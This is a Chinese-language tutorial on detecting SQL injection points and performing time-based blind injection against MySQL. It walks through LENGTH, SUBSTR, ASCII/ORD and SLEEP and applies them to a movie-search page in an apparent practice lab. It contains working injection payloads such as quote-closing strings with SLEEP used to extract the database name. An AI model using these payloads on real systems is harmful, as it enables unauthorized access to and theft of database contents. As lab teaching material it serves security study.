sql注入----sql injection 判断sql注入点
1. 单引号判断(')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
错误:您的SQL语法有错误;检查与MySQL服务器版本相对应的手册,以获取第1行中靠近“”使用的正确语法
2.盲注:有时候输入框中输入的内容不存,也有可能没得。
先了解一下like,比如select * from user where name like '%myName%'
如下:
搜索出来的内容都是包含a的,在头脑里面考虑到like的用法,进行闭合。比如select * from movies where id=1 and sleep(10);
首先我们先获得数据库的长度
select length(DATABASE());
#获得当前数据库时的第一个字符
SELECT SUBSTR(DATABASE(),1,1);
#判断数据库第一个字符是不是s,其它类型函数left(),substring,mid
SELECT SUBSTR(DATABASE(),1,1)='s';
#判断数据库第二个字符是不是a
SELECT SUBSTR(DATABASE(),2,1)='a';
通过sleep()函数来判断前面的sql是否正确,如果id=9有数据则会等待9秒,如果没有则立马执行完。
select * from `movies` where id=9 and sleep(10);
然后通过substr跟sleep来结合
SELECT SUBSTR(DATABASE(),1,1)='s' AND SLEEP(5); 如果当前数据库库名的第一个字符是s,则等待5秒之后输出,如果不是则立马输出
获得数据库里的ascii码,通过ascii()函数;备注后面的括号里面不管多少位字符串都只返回第一个字符的ascii码
通过ascii码来加快查询数据,ascii(),ord().
SELECT ascii(SUBSTR(DATABASE(),1,1))=33 AND SLEEP(5);
SELECT ASCII(SUBSTR(DATABASE(),1,1))=98 AND SLEEP(5); 比如我这边库名的第一个字符是b,ascii码对应的是98,那么这个sql会停顿五秒
为什么使用ascii码呢,因为使用ascii码可以使用大于,比如我先转成ascii码,然后判断第一个字符是不是大于68,如果大于则使用后面的,如果小于则使用之前的,减少我们的试错
然后再来看看我们的靶场。
首先先判断我们输入的内容是什么类型,search for a movie 搜索一个电影一般来说可能是id也可能是电影名,那么就需要试试是id还是电影名,id为int类型电影名为字符串类型
1' or sleep(10) #
在使用or 加sleep()函数需要注意的是,数据库表中的内容不能太大,比如 select * from movies where id=1 or sleep(1);
这样会执行多少秒呢,那得看执行表数据存在多少条,一般来说有多少条就执行多少秒
查看上面的length,其实光那样是无法拿到database的长度的,我们需要改造一下如下:我们需要判断
SELECT * FROM movies WHERE id=1 AND LENGTH(DATABASE())=5 AND SLEEP(3);
如果我们需要查看数据库的长度,那么sql需要改成如下
Iron Man' AND LENGTH(DATABASE())=5 AND SLEEP(3) #
为了方便快速定位可以使用 大于等于 或者小于等于之类的。
如果我们猜测的长度跟实际长度不相等的话,内容如下:
获得数据库名称长度
Iron Man' AND LENGTH(DATABASE()) >=5 AND SLEEP(3) #
SELECT * FROM movies WHERE title='Iron Man' AND LENGTH(DATABASE()) >=5 AND SLEEP(3);
获得数据库名称
先得到ascii码,然后通过ascii码去反推库名称
Iron Man' AND ORD(MID(DATABASE(),2,1))=98 AND SLEEP(3) #
SELECT * FROM movies WHERE title='Iron Man' AND ORD(MID(DATABASE(),2,1))=98 AND SLEEP(3);